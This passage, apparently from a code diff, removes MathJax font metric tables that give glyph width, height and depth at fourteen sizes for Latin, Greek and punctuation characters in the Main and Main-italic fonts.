-        [33,21,0],[39,24,0],[46,29,0],[54,33,0],[65,39,0],[77,47,0]
-      ],
-      0x58: [  // LATIN CAPITAL LETTER X
-        [6,5,0],[7,6,0],[9,8,0],[10,8,0],[12,9,0],[14,12,0],[17,14,0],[20,17,0],
-        [24,20,0],[28,23,0],[33,28,0],[39,32,0],[47,38,0],[55,46,0]
-      ],
-      0x59: [  // LATIN CAPITAL LETTER Y
-        [6,5,0],[8,6,0],[9,8,0],[10,8,0],[12,9,0],[15,12,0],[17,14,0],[20,17,0],
-        [24,20,0],[28,23,0],[34,28,0],[40,32,0],[47,38,0],[56,46,0]
-      ],
-      0x5A: [  // LATIN CAPITAL LETTER Z
-        [5,5,0],[6,6,0],[7,8,0],[8,8,0],[9,9,0],[11,12,0],[13,14,0],[15,17,0],
-        [18,20,0],[22,23,0],[26,28,0],[30,32,0],[36,38,0],[43,46,0]
-      ],
-      0x5B: [  // LEFT SQUARE BRACKET
-        [3,7,2],[3,9,2],[3,11,3],[4,11,3],[5,13,3],[5,19,5],[6,22,6],[7,26,7],
-        [9,29,7],[10,34,8],[12,40,10],[14,47,12],[17,56,14],[20,67,17]
-      ],
-      0x5C: [  // REVERSE SOLIDUS
-        [4,7,2],[5,9,2],[5,11,3],[6,11,3],[8,14,3],[9,18,4],[10,20,5],[12,25,6],
-        [15,29,7],[17,33,8],[20,40,10],[24,47,12],[29,56,14],[34,67,17]
-      ],
-      0x5D: [  // RIGHT SQUARE BRACKET
-        [2,7,2],[2,9,2],[2,11,3],[3,11,3],[3,13,3],[4,19,5],[4,22,6],[5,26,7],
-        [6,29,7],[7,34,8],[8,40,10],[9,47,12],[11,56,14],[13,67,17]
-      ],
-      0x5E: [  // CIRCUMFLEX ACCENT
-        [4,2,-3],[4,2,-5],[5,2,-6],[6,2,-6],[7,3,-7],[8,4,-9],[9,4,-10],[11,5,-13],
-        [13,5,-15],[15,6,-17],[18,7,-21],[21,9,-24],[25,10,-29],[30,12,-35]
-      ],
-      0x5F: [  // LOW LINE
-        [4,2,1],[5,2,1],[6,2,1],[7,2,1],[8,2,1],[10,2,1],[12,3,2],[14,3,2],
-        [16,3,2],[19,3,2],[23,3,2],[27,4,3],[32,4,3],[38,5,4]
-      ],
-      0x60: [  // GRAVE ACCENT
-        [3,2,-3],[3,2,-4],[4,3,-5],[4,3,-5],[5,3,-6],[6,4,-8],[7,5,-9],[8,5,-12],
-        [10,6,-14],[12,7,-16],[14,9,-19],[16,10,-23],[19,12,-27],[23,14,-33]
-      ],
-      0x61: [  // LATIN SMALL LETTER A
-        [4,3,0],[5,4,0],[6,5,0],[7,5,0],[8,6,0],[10,8,0],[11,9,0],[13,11,0],
-        [16,13,0],[19,15,0],[22,18,0],[26,21,0],[31,25,0],[37,30,0]
-      ],
-      0x62: [  // LATIN SMALL LETTER B
-        [5,5,0],[5,6,0],[6,8,0],[8,8,0],[9,9,0],[10,12,0],[12,14,0],[14,17,0],
-        [17,20,0],[20,23,0],[24,28,0],[28,32,0],[34,38,0],[40,46,0]
-      ],
-      0x63: [  // LATIN SMALL LETTER C
-        [4,3,0],[4,4,0],[5,5,0],[6,5,0],[7,6,0],[8,8,0],[10,9,0],[12,11,0],
-        [14,13,0],[16,15,0],[19,18,0],[23,21,0],[27,25,0],[32,30,0]
-      ],
-      0x64: [  // LATIN SMALL LETTER D
-        [5,5,0],[6,6,0],[6,8,0],[8,8,0],[9,9,0],[11,12,0],[12,14,0],[15,17,0],
-        [17,20,0],[20,23,0],[24,28,0],[29,32,0],[34,38,0],[40,46,0]
-      ],
-      0x65: [  // LATIN SMALL LETTER E
-        [4,3,0],[5,4,0],[5,5,0],[6,5,0],[7,6,0],[9,8,0],[10,9,0],[12,11,0],
-        [14,13,0],[17,15,0],[20,18,0],[23,21,0],[28,25,0],[33,30,0]
-      ],
-      0x66: [  // LATIN SMALL LETTER F
-        [4,5,0],[4,6,0],[5,8,0],[6,8,0],[7,9,0],[8,12,0],[9,14,0],[11,17,0],
-        [13,20,0],[15,23,0],[18,28,0],[21,32,0],[25,38,0],[30,46,0]
-      ],
-      0x67: [  // LATIN SMALL LETTER G
-        [4,4,1],[5,6,2],[6,7,2],[7,7,2],[8,9,3],[10,11,3],[11,13,4],[13,16,5],
-        [16,19,6],[19,21,6],[22,26,8],[26,30,9],[31,36,11],[37,43,13]
-      ],
-      0x68: [  // LATIN SMALL LETTER H
-        [5,5,0],[6,6,0],[7,8,0],[8,8,0],[9,9,0],[11,12,0],[13,14,0],[15,17,0],
-        [18,20,0],[21,23,0],[25,28,0],[29,32,0],[35,38,0],[41,46,0]
-      ],
-      0x69: [  // LATIN SMALL LETTER I
-        [3,5,0],[3,6,0],[3,8,0],[4,8,0],[5,9,0],[5,12,0],[6,14,0],[7,17,0],
-        [9,20,0],[10,23,0],[12,28,0],[14,32,0],[17,38,0],[20,46,0]
-      ],
-      0x6A: [  // LATIN SMALL LETTER J
-        [3,6,1],[4,8,2],[4,10,2],[5,10,2],[5,12,3],[7,15,3],[8,18,4],[9,22,5],
-        [10,26,6],[13,29,6],[14,36,8],[17,41,9],[20,49,11],[24,59,13]
-      ],
-      0x6B: [  // LATIN SMALL LETTER K
-        [5,5,0],[5,6,0],[6,8,0],[7,8,0],[9,9,0],[10,12,0],[12,14,0],[14,17,0],
-        [17,20,0],[20,23,0],[23,28,0],[28,32,0],[33,38,0],[39,46,0]
-      ],
-      0x6C: [  // LATIN SMALL LETTER L
-        [3,5,0],[3,6,0],[3,8,0],[4,8,0],[5,9,0],[5,12,0],[6,14,0],[7,17,0],
-        [9,20,0],[10,23,0],[12,28,0],[14,32,0],[17,38,0],[20,46,0]
-      ],
-      0x6D: [  // LATIN SMALL LETTER M
-        [7,3,0],[8,4,0],[10,5,0],[12,5,0],[14,6,0],[16,8,0],[19,9,0],[22,11,0],
-        [27,13,0],[31,15,0],[37,18,0],[44,21,0],[53,25,0],[62,30,0]
-      ],
-      0x6E: [  // LATIN SMALL LETTER N
-        [5,3,0],[6,5,0],[7,5,0],[8,5,0],[9,6,0],[11,8,0],[13,9,0],[15,11,0],
-        [18,13,0],[21,15,0],[25,18,0],[29,21,0],[35,25,0],[41,30,0]
-      ],
-      0x6F: [  // LATIN SMALL LETTER O
-        [4,3,0],[5,4,0],[6,5,0],[7,5,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],
-        [15,13,0],[18,15,0],[22,18,0],[26,21,0],[30,25,0],[36,30,0]
-      ],
-      0x70: [  // LATIN SMALL LETTER P
-        [5,4,1],[5,6,2],[6,7,2],[7,7,2],[9,9,3],[10,11,3],[12,13,4],[14,16,5],
-        [17,19,6],[20,21,6],[24,26,8],[28,30,9],[33,36,11],[40,43,13]
-      ],
-      0x71: [  // LATIN SMALL LETTER Q
-        [5,4,1],[6,6,2],[6,7,2],[8,7,2],[9,9,3],[11,11,3],[12,13,4],[15,16,5],
-        [17,19,6],[21,21,6],[24,26,8],[29,30,9],[34,36,11],[41,43,13]
-      ],
-      0x72: [  // LATIN SMALL LETTER R
-        [4,3,0],[4,4,0],[5,5,0],[6,5,0],[7,6,0],[8,8,0],[9,9,0],[11,11,0],
-        [13,13,0],[15,15,0],[18,18,0],[21,21,0],[25,25,0],[29,30,0]
-      ],
-      0x73: [  // LATIN SMALL LETTER S
-        [3,3,0],[4,4,0],[5,5,0],[5,5,0],[6,6,0],[7,8,0],[9,9,0],[10,11,0],
-        [12,13,0],[14,15,0],[17,18,0],[20,21,0],[23,25,0],[28,30,0]
-      ],
-      0x74: [  // LATIN SMALL LETTER T
-        [3,5,0],[4,6,0],[4,7,0],[5,7,0],[6,9,0],[7,12,0],[8,13,0],[9,16,0],
-        [11,19,0],[13,22,0],[15,26,0],[18,30,0],[22,36,0],[26,43,0]
-      ],
-      0x75: [  // LATIN SMALL LETTER U
-        [5,3,0],[6,4,0],[7,5,0],[8,5,0],[9,6,0],[11,8,0],[13,9,0],[15,11,0],
-        [18,13,0],[21,15,0],[25,18,0],[29,21,0],[35,25,0],[41,30,0]
-      ],
-      0x76: [  // LATIN SMALL LETTER V
-        [4,3,0],[5,4,0],[6,5,0],[7,5,0],[8,6,0],[10,8,0],[12,9,0],[14,11,0],
-        [16,13,0],[19,15,0],[23,18,0],[27,21,0],[32,25,0],[38,30,0]
-      ],
-      0x77: [  // LATIN SMALL LETTER W
-        [6,3,0],[7,4,0],[8,5,0],[10,5,0],[12,6,0],[14,8,0],[16,9,0],[19,11,0],
-        [23,13,0],[27,15,0],[32,18,0],[38,21,0],[45,25,0],[53,30,0]
-      ],
-      0x78: [  // LATIN SMALL LETTER X
-        [5,3,0],[5,4,0],[6,5,0],[7,5,0],[9,6,0],[10,8,0],[12,9,0],[14,11,0],
-        [17,13,0],[20,15,0],[23,18,0],[28,21,0],[33,25,0],[39,30,0]
-      ],
-      0x79: [  // LATIN SMALL LETTER Y
-        [4,4,1],[5,6,2],[6,7,2],[7,7,2],[9,9,3],[10,11,3],[12,13,4],[14,16,5],
-        [17,19,6],[20,21,6],[23,26,8],[27,30,9],[33,36,11],[39,43,13]
-      ],
-      0x7A: [  // LATIN SMALL LETTER Z
-        [4,3,0],[4,4,0],[5,5,0],[6,5,0],[7,6,0],[8,8,0],[9,9,0],[11,11,0],
-        [13,13,0],[16,15,0],[19,18,0],[22,21,0],[26,25,0],[31,30,0]
-      ],
-      0x7B: [  // LEFT CURLY BRACKET
-        [4,7,2],[5,9,2],[5,11,3],[6,11,3],[7,14,3],[9,18,4],[10,21,6],[12,25,7],
-        [14,30,7],[17,33,8],[20,40,10],[24,47,12],[28,55,14],[34,66,17]
-      ],
-      0x7C: [  // VERTICAL LINE
-        [2,7,2],[2,9,2],[2,12,3],[3,12,3],[3,14,3],[4,18,4],[4,20,5],[5,25,6],
-        [6,29,7],[7,34,8],[8,40,10],[9,47,12],[11,56,14],[13,67,17]
-      ],
-      0x7D: [  // RIGHT CURLY BRACKET
-        [4,7,2],[5,9,2],[5,11,3],[6,11,3],[7,14,3],[9,18,4],[10,21,6],[12,26,7],
-        [14,29,7],[17,33,8],[20,40,10],[24,47,11],[28,56,14],[34,66,16]
-      ],
-      0x7E: [  // TILDE
-        [4,1,-1],[4,1,-2],[5,3,-1],[6,3,-1],[7,4,-2],[8,3,-4],[10,3,-4],[12,4,-5],
-        [14,5,-6],[16,6,-7],[19,6,-8],[23,7,-9],[27,9,-11],[32,10,-13]
-      ],
-      0x393: [  // GREEK CAPITAL LETTER GAMMA
-        [5,5,0],[6,6,0],[7,8,0],[8,8,0],[9,9,0],[11,12,0],[13,14,0],[15,17,0],
-        [18,20,0],[22,23,0],[26,27,0],[30,32,0],[36,38,0],[43,46,0]
-      ],
-      0x394: [  // GREEK CAPITAL LETTER DELTA
-        [7,5,0],[8,6,0],[9,8,0],[11,8,0],[13,9,0],[15,12,0],[18,14,0],[21,17,0],
-        [25,20,0],[30,23,0],[36,28,0],[42,32,0],[50,38,0],[60,46,0]
-      ],
-      0x398: [  // GREEK CAPITAL LETTER THETA
-        [6,5,0],[7,6,0],[9,8,0],[10,8,0],[12,9,0],[14,12,0],[17,14,0],[20,17,0],
-        [23,20,0],[28,23,0],[33,28,0],[39,32,0],[46,38,0],[55,46,0]
-      ],
-      0x39B: [  // GREEK CAPITAL LETTER LAMDA
-        [6,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[18,17,0],
-        [22,20,0],[26,23,0],[30,28,0],[36,32,0],[43,38,0],[51,46,0]
-      ],
-      0x39E: [  // GREEK CAPITAL LETTER XI
-        [5,5,0],[6,6,0],[8,8,0],[9,8,0],[10,9,0],[12,12,0],[14,14,0],[17,17,0],
-        [20,20,0],[24,23,0],[28,27,0],[34,31,0],[40,37,0],[48,45,0]
-      ],
-      0x3A0: [  // GREEK CAPITAL LETTER PI
-        [6,5,0],[8,6,0],[9,8,0],[11,8,0],[12,9,0],[15,12,0],[17,14,0],[20,17,0],
-        [24,20,0],[29,23,0],[34,27,0],[40,32,0],[48,38,0],[57,46,0]
-      ],
-      0x3A3: [  // GREEK CAPITAL LETTER SIGMA
-        [6,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[18,17,0],
-        [22,20,0],[26,23,0],[30,28,0],[36,32,0],[43,38,0],[51,46,0]
-      ],
-      0x3A5: [  // GREEK CAPITAL LETTER UPSILON
-        [6,5,0],[7,6,0],[9,8,0],[10,8,0],[12,9,0],[14,12,0],[17,14,0],[20,17,0],
-        [23,20,0],[28,23,0],[33,28,0],[39,32,0],[46,38,0],[55,46,0]
-      ],
-      0x3A6: [  // GREEK CAPITAL LETTER PHI
-        [6,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[18,17,0],
-        [22,20,0],[26,23,0],[30,28,0],[36,32,0],[43,38,0],[51,46,0]
-      ],
-      0x3A8: [  // GREEK CAPITAL LETTER PSI
-        [6,5,0],[7,6,0],[9,8,0],[10,8,0],[12,9,0],[14,12,0],[17,14,0],[20,17,0],
-        [23,20,0],[28,23,0],[33,28,0],[39,32,0],[46,38,0],[55,46,0]
-      ],
-      0x3A9: [  // GREEK CAPITAL LETTER OMEGA
-        [6,5,0],[7,6,0],[8,8,0],[10,8,0],[11,9,0],[13,12,0],[16,14,0],[18,17,0],
-        [22,20,0],[26,23,0],[31,28,0],[36,32,0],[43,38,0],[51,46,0]
-      ]
-    },
-
-    "MathJax_Main-italic": {
-      0x20: [  // SPACE
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-      ],
-      0x21: [  // EXCLAMATION MARK
-        [3,5,0],[4,6,0],[4,6,0],[5,8,0],[6,9,0],[7,11,0],[8,14,0],[9,15,0],
-        [11,20,0],[13,24,0],[15,28,0],[18,34,0],[22,41,0],[25,47,0]
-      ],
-      0x22: [  // QUOTATION MARK
-        [4,3,-2],[5,3,-3],[6,3,-3],[7,4,-4],[8,5,-4],[9,5,-6],[11,7,-7],[13,8,-8],
-        [15,9,-10],[18,11,-12],[22,13,-14],[25,15,-18],[30,18,-21],[36,21,-24]
-      ],
-      0x23: [  // NUMBER SIGN
-        [6,6,1],[7,8,2],[9,8,2],[10,10,2],[12,12,3],[14,14,3],[17,18,4],[20,20,4],
-        [23,24,5],[28,29,6],[33,34,7],[39,42,9],[46,50,11],[55,58,13]
-      ],
-      0x25: [  // PERCENT SIGN
-        [6,6,1],[8,8,1],[9,8,1],[10,10,1],[12,11,1],[15,13,1],[17,17,1],[20,18,1],
-        [24,23,2],[28,29,3],[34,33,3],[40,38,3],[47,46,3],[56,53,4]
-      ],
-      0x26: [  // AMPERSAND
-        [6,5,0],[7,6,0],[8,6,0],[10,8,0],[12,9,0],[14,11,0],[16,14,0],[19,17,1],
-        [23,21,1],[27,25,1],[32,29,0],[38,35,1],[45,43,2],[53,49,2]
-      ],
-      0x27: [  // APOSTROPHE
-        [3,3,-2],[4,3,-3],[4,3,-3],[5,4,-4],[6,5,-4],[7,5,-6],[8,7,-7],[9,8,-8],
-        [11,9,-10],[13,11,-12],[15,13,-14],[18,15,-18],[21,18,-21],[25,21,-24]
-      ],
-      0x28: [  // LEFT PARENTHESIS
-        [4,8,3],[5,10,3],[6,10,3],[7,13,4],[8,15,4],[9,17,5],[11,22,6],[12,24,7],
-        [15,28,8],[18,35,9],[21,40,11],[25,49,13],[29,58,15],[35,67,17]
-      ],
-      0x29: [  // RIGHT PARENTHESIS
-        [3,7,2],[4,9,2],[4,9,2],[5,12,3],[6,14,3],[7,16,4],[8,21,5],[10,23,6],
-        [11,27,7],[13,34,8],[16,39,10],[19,48,12],[22,57,14],[26,66,16]
-      ],
-      0x2A: [  // ASTERISK
-        [5,3,-2],[5,5,-2],[6,5,-2],[7,6,-3],[9,6,-4],[10,8,-4],[12,9,-6],[14,10,-7],
-        [17,12,-9],[20,15,-11],[23,17,-12],[28,21,-15],[33,25,-18],[39,28,-21]
-      ],
-      0x2B: [  // PLUS SIGN
-        [6,5,1],[7,7,1],[8,7,1],[9,7,1],[11,9,1],[13,11,2],[15,13,1],[18,15,2],
-        [21,18,3],[25,21,2],[30,24,2],[35,30,3],[42,35,3],[50,41,4]
-      ],
-      0x2C: [  // COMMA
-        [2,2,1],[2,3,2],[3,3,2],[3,4,2],[4,5,3],[4,5,3],[5,7,4],[6,7,4],
-        [7,9,5],[8,10,6],[10,12,7],[11,15,9],[13,18,11],[16,21,13]
-      ],
-      0x2D: [  // HYPHEN-MINUS
-        [3,1,-1],[3,1,-1],[4,1,-1],[4,1,-2],[5,1,-2],[6,2,-2],[7,3,-3],[8,3,-3],
-        [10,2,-5],[12,3,-6],[14,3,-7],[16,4,-9],[19,5,-10],[23,5,-12]
-      ],
-      0x2E: [  // FULL STOP
-        [2,1,0],[2,2,0],[3,2,0],[3,2,0],[4,2,0],[4,2,0],[5,3,0],[6,3,0],
-        [7,4,0],[8,5,0],[10,5,0],[11,6,0],[13,7,0],[16,8,0]
-      ],
-      0x2F: [  // SOLIDUS
-        [5,7,2],[6,9,2],[7,9,2],[8,12,3],[9,14,3],[11,16,4],[12,21,5],[15,23,6],
-        [18,27,7],[21,34,8],[25,39,10],[29,48,12],[35,57,14],[41,66,16]
-      ],
-      0x30: [  // DIGIT ZERO
-        [4,5,0],[5,6,0],[6,6,0],[7,8,0],[8,9,0],[10,11,0],[11,14,0],[14,16,1],
-        [16,19,1],[19,24,1],[22,27,0],[27,33,1],[32,39,1],[37,45,1]
-      ],
-      0x31: [  // DIGIT ONE
-        [4,5,0],[4,6,0],[5,6,0],[6,8,0],[7,9,0],[8,11,0],[10,14,0],[11,15,0],
-        [13,19,0],[16,23,0],[19,26,0],[22,32,0],[26,38,0],[31,44,0]
-      ],
-      0x32: [  // DIGIT TWO
-        [4,5,0],[5,6,0],[6,6,0],[7,8,0],[8,9,0],[10,11,0],[11,14,0],[13,16,1],
-        [16,20,1],[19,24,1],[22,27,0],[26,33,1],[31,39,1],[37,45,1]
-      ],
-      0x33: [  // DIGIT THREE
-        [4,5,0],[5,6,0],[6,6,0],[7,8,0],[8,9,0],[10,11,0],[11,14,0],[14,15,0],
-        [16,19,0],[19,23,0],[22,26,0],[27,33,1],[32,39,1],[37,45,1]
-      ],
-      0x34: [  // DIGIT FOUR
-        [4,6,1],[4,8,2],[5,8,2],[6,10,2],[7,12,3],[8,14,3],[10,18,4],[12,19,4],
-        [14,24,5],[16,29,6],[19,33,7],[23,41,9],[27,49,11],[32,57,13]
-      ],
-      0x35: [  // DIGIT FIVE
-        [4,5,0],[5,6,0],[6,6,0],[7,8,0],[8,10,0],[10,11,0],[12,14,0],[14,16,1],
-        [16,20,1],[19,23,1],[23,27,0],[27,33,1],[32,39,1],[38,45,1]
-      ],
-      0x36: [  // DIGIT SIX
-        [4,5,0],[5,6,0],[6,6,0],[7,8,0],[8,9,0],[10,11,0],[12,14,0],[14,16,1],
-        [16,19,1],[19,24,1],[23,28,1],[27,33,1],[32,39,1],[38,45,2]
-      ],
-      0x37: [  // DIGIT SEVEN
-        [5,5,0],[6,6,0],[7,6,0],[8,8,0],[9,9,0],[11,11,0],[13,14,0],[15,16,1],
-        [18,20,1],[21,24,1],[25,27,0],[30,33,1],[36,40,2],[42,46,2]
-      ],
-      0x38: [  // DIGIT EIGHT
-        [4,5,0],[5,6,0],[6,6,0],[7,8,0],[8,9,0],[10,11,0],[11,14,0],[13,16,1],
-        [16,20,1],[19,24,1],[22,27,0],[26,33,1],[31,39,1],[37,45,1]
-      ],
-      0x39: [  // DIGIT NINE
-        [4,5,0],[5,6,0],[6,6,0],[7,8,0],[8,9,0],[10,11,0],[11,14,0],[13,16,1],
-        [16,19,1],[19,24,1],[22,27,0],[26,33,1],[31,39,1],[37,45,1]
-      ],
-      0x3A: [  // COLON
-        [3,3,0],[3,4,0],[4,4,0],[4,5,0],[5,6,0],[6,7,0],[6,9,0],[8,10,0],
-        [9,12,0],[11,15,0],[13,17,0],[15,21,0],[18,24,0],[21,28,0]
-      ],
-      0x3B: [  // SEMICOLON
-        [3,4,1],[3,6,2],[4,6,2],[4,7,2],[5,9,3],[6,10,3],[6,13,4],[8,14,4],
-        [9,17,5],[11,21,6],[13,24,7],[15,30,9],[18,35,11],[21,41,13]
-      ],
-      0x3D: [  // EQUALS SIGN
-        [6,2,-1],[7,3,-1],[8,3,-1],[10,3,-1],[11,4,-2],[13,4,-2],[16,5,-3],[19,5,-3],
-        [22,7,-3],[26,10,-4],[31,9,-5],[37,11,-6],[43,14,-8],[52,16,-9]
-      ],
-      0x3F: [  // QUESTION MARK
-        [4,5,0],[5,6,0],[6,6,0],[7,8,0],[8,9,0],[10,11,0],[11,14,0],[13,15,0],
-        [16,20,0],[19,24,0],[22,28,0],[26,34,0],[31,41,0],[37,47,0]
-      ],
-      0x40: [  // COMMERCIAL AT
-        [6,5,0],[7,6,0],[8,6,0],[10,8,0],[11,9,0],[14,11,0],[16,14,0],[19,15,0],
-        [22,20,0],[26,24,0],[31,27,0],[37,34,1],[44,41,1],[52,47,1]
-      ],
-      0x41: [  // LATIN CAPITAL LETTER A
-        [5,5,0],[6,7,0],[7,7,0],[9,8,0],[10,10,0],[12,12,0],[14,15,0],[17,16,0],
-        [20,20,0],[23,24,0],[28,28,0],[33,34,0],[39,41,0],[46,47,0]
-      ],
-      0x42: [  // LATIN CAPITAL LETTER B
-        [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[17,15,0],
-        [21,19,0],[25,23,0],[29,26,0],[34,33,0],[41,39,0],[49,45,0]
-      ],
-      0x43: [  // LATIN CAPITAL LETTER C
-        [6,5,0],[7,6,0],[8,6,0],[10,8,0],[12,9,0],[14,11,0],[16,14,0],[19,16,1],
-        [23,21,1],[27,25,1],[32,27,0],[38,35,1],[45,41,1],[54,48,1]
-      ],
-      0x44: [  // LATIN CAPITAL LETTER D
-        [6,5,0],[7,6,0],[8,6,0],[10,8,0],[11,9,0],[13,11,0],[16,14,0],[18,15,0],
-        [22,19,0],[26,23,0],[31,26,0],[36,33,0],[43,39,0],[51,45,0]
-      ],
-      0x45: [  // LATIN CAPITAL LETTER E
-        [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[18,15,0],
-        [21,19,0],[25,23,0],[30,26,0],[35,33,0],[42,39,0],[50,46,1]
-      ],
-      0x46: [  // LATIN CAPITAL LETTER F
-        [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[17,15,0],
-        [21,19,0],[24,23,0],[29,26,0],[34,33,0],[41,38,0],[48,45,0]
-      ],
-      0x47: [  // LATIN CAPITAL LETTER G
-        [6,5,0],[7,6,0],[8,6,0],[10,8,0],[12,9,0],[14,11,0],[16,14,0],[19,16,1],
-        [23,21,1],[27,25,1],[32,27,0],[38,35,1],[45,41,1],[54,48,1]
-      ],
-      0x48: [  // LATIN CAPITAL LETTER H
-        [6,5,0],[8,6,0],[9,6,0],[11,8,0],[12,9,0],[15,11,0],[17,14,0],[20,15,0],
-        [24,19,0],[29,23,0],[34,26,0],[40,33,0],[48,39,0],[57,45,0]
-      ],
-      0x49: [  // LATIN CAPITAL LETTER I
-        [4,5,0],[5,6,0],[5,6,0],[6,8,0],[8,9,0],[9,11,0],[10,14,0],[12,15,0],
-        [15,19,0],[17,23,0],[20,26,0],[24,33,0],[29,39,0],[34,45,0]
-      ],
-      0x4A: [  // LATIN CAPITAL LETTER J
-        [5,5,0],[6,6,0],[7,6,0],[8,8,0],[9,9,0],[11,11,0],[13,14,0],[15,16,1],
-        [18,20,1],[21,24,1],[25,26,0],[29,34,1],[35,40,1],[41,46,1]
-      ],
-      0x4B: [  // LATIN CAPITAL LETTER K
-        [6,5,0],[8,7,1],[9,7,1],[11,9,1],[12,10,1],[15,12,1],[17,15,1],[20,16,1],
-        [24,20,1],[29,24,1],[34,27,1],[40,33,0],[48,39,0],[57,46,1]
-      ],
-      0x4C: [  // LATIN CAPITAL LETTER L
-        [5,6,1],[6,7,1],[7,7,1],[8,9,1],[9,10,1],[11,12,1],[13,15,1],[15,16,1],
-        [18,20,1],[21,24,1],[25,27,1],[30,33,1],[35,40,1],[42,46,1]
-      ],
-      0x4D: [  // LATIN CAPITAL LETTER M
-        [7,5,0],[9,6,0],[10,6,0],[12,8,0],[14,9,0],[17,11,0],[20,14,0],[24,15,0],
-        [28,19,0],[34,23,0],[40,26,0],[47,33,0],[56,39,0],[67,46,1]
-      ],
-      0x4E: [  // LATIN CAPITAL LETTER N
-        [6,5,0],[8,6,0],[9,6,0],[11,8,0],[12,10,0],[15,11,0],[17,14,0],[20,16,0],
-        [24,19,0],[29,24,0],[34,27,0],[40,34,0],[48,40,0],[57,45,0]
-      ],
-      0x4F: [  // LATIN CAPITAL LETTER O
-        [6,5,0],[7,6,0],[8,6,0],[10,8,0],[11,9,0],[14,11,0],[16,14,0],[19,16,1],
-        [22,21,1],[26,25,1],[31,27,0],[37,35,1],[44,41,1],[52,48,1]
-      ],
-      0x50: [  // LATIN CAPITAL LETTER P
-        [6,5,0],[7,7,1],[8,7,1],[9,9,1],[11,10,1],[13,12,1],[15,15,1],[17,16,1],
-        [21,20,1],[24,24,1],[29,27,1],[34,34,1],[41,40,1],[48,46,1]
-      ],
-      0x51: [  // LATIN CAPITAL LETTER Q
-        [6,6,1],[7,8,2],[8,8,2],[10,10,2],[11,12,3],[14,14,3],[16,18,4],[19,19,4],
-        [22,25,5],[26,30,6],[31,34,7],[37,43,9],[44,51,11],[52,59,13]
-      ],
-      0x52: [  // LATIN CAPITAL LETTER R
-        [5,6,0],[6,7,0],[8,7,0],[9,9,0],[10,10,0],[12,12,0],[15,15,0],[17,17,1],
-        [20,21,1],[24,25,1],[29,27,0],[34,35,1],[40,41,1],[48,47,1]
-      ],
-      0x53: [  // LATIN CAPITAL LETTER S
-        [5,5,0],[6,7,0],[7,7,0],[8,8,0],[9,10,0],[11,12,0],[13,15,0],[15,17,1],
-        [18,21,1],[21,25,1],[25,28,0],[30,35,1],[35,41,1],[42,48,1]
-      ],
-      0x54: [  // LATIN CAPITAL LETTER T
-        [6,5,0],[7,6,0],[8,6,0],[10,8,0],[12,9,0],[14,11,0],[16,14,0],[19,15,0],
-        [23,19,0],[27,23,0],[32,26,0],[38,32,0],[45,38,0],[54,45,0]
-      ],
-      0x55: [  // LATIN CAPITAL LETTER U
-        [6,5,0],[8,6,0],[9,6,0],[11,8,0],[12,9,0],[15,11,0],[17,14,0],[20,16,1],
-        [24,20,1],[29,24,1],[34,26,0],[40,34,1],[48,40,1],[57,47,2]
-      ],
-      0x56: [  // LATIN CAPITAL LETTER V
-        [6,5,0],[8,6,0],[9,6,0],[11,8,0],[12,9,0],[15,11,0],[17,14,0],[21,17,1],
-        [24,20,1],[29,24,1],[34,27,0],[41,34,1],[48,40,1],[58,47,2]
-      ],
-      0x57: [  // LATIN CAPITAL LETTER W
-        [8,5,0],[10,6,0],[12,6,0],[14,8,0],[16,9,0],[19,11,0],[22,14,0],[27,17,1],
-        [32,20,1],[37,24,1],[44,27,0],[53,34,1],[63,41,2],[74,47,2]
-      ],
-      0x58: [  // LATIN CAPITAL LETTER X
-        [6,5,0],[7,7,1],[9,7,1],[10,9,1],[12,10,1],[14,12,1],[16,15,1],[20,16,1],
-        [23,20,1],[28,24,1],[33,27,1],[39,34,1],[46,39,0],[55,45,0]
-      ],
-      0x59: [  // LATIN CAPITAL LETTER Y
-        [7,5,0],[8,6,0],[9,6,0],[11,8,0],[13,9,0],[15,11,0],[18,14,0],[21,15,0],
-        [25,19,0],[29,23,0],[35,26,0],[41,33,0],[49,39,0],[58,45,0]
-      ],
-      0x5A: [  // LATIN CAPITAL LETTER Z
-        [5,5,0],[6,6,0],[7,6,0],[9,8,0],[10,9,0],[12,11,0],[14,14,0],[17,15,0],
-        [20,19,0],[24,23,0],[28,26,0],[33,33,0],[39,39,0],[47,45,0]
-      ],
-      0x5B: [  // LEFT SQUARE BRACKET
-        [4,8,2],[4,10,3],[5,10,3],[6,12,3],[7,14,4],[8,16,4],[9,21,5],[11,23,6],
-        [13,28,8],[15,36,9],[18,39,10],[21,47,12],[25,57,14],[30,66,16]
-      ],
-      0x5D: [  // RIGHT SQUARE BRACKET
-        [4,8,2],[4,10,3],[5,10,3],[6,12,3],[6,14,4],[7,16,4],[8,21,5],[10,23,6],
-        [11,28,8],[13,36,9],[15,39,10],[18,48,12],[21,57,14],[25,66,16]
-      ],
-      0x5E: [  // CIRCUMFLEX ACCENT
-        [4,1,-4],[5,2,-4],[6,2,-4],[7,2,-6],[8,2,-7],[9,3,-8],[11,4,-10],[13,4,-12],
-        [15,5,-14],[18,6,-17],[21,7,-20],[25,8,-25],[30,10,-29],[35,11,-34]
-      ],
-      0x5F: [  // LOW LINE
-        [4,2,1],[5,2,1],[6,2,1],[7,2,1],[8,2,1],[10,2,1],[11,2,1],[14,2,1],
-        [16,3,2],[19,4,3],[22,4,3],[27,5,4],[32,5,4],[37,6,5]
-      ],
-      0x61: [  // LATIN SMALL LETTER A
-        [4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[10,7,0],[11,9,0],[13,10,0],
-        [16,12,0],[18,15,0],[22,17,0],[26,22,1],[31,26,1],[36,30,1]
-      ],
-      0x62: [  // LATIN SMALL LETTER B
-        [4,5,0],[4,6,0],[5,6,0],[6,8,0],[7,9,0],[8,11,0],[10,14,0],[11,16,0],
-        [13,19,0],[16,23,0],[19,27,0],[22,34,1],[26,40,1],[31,46,1]
-      ],
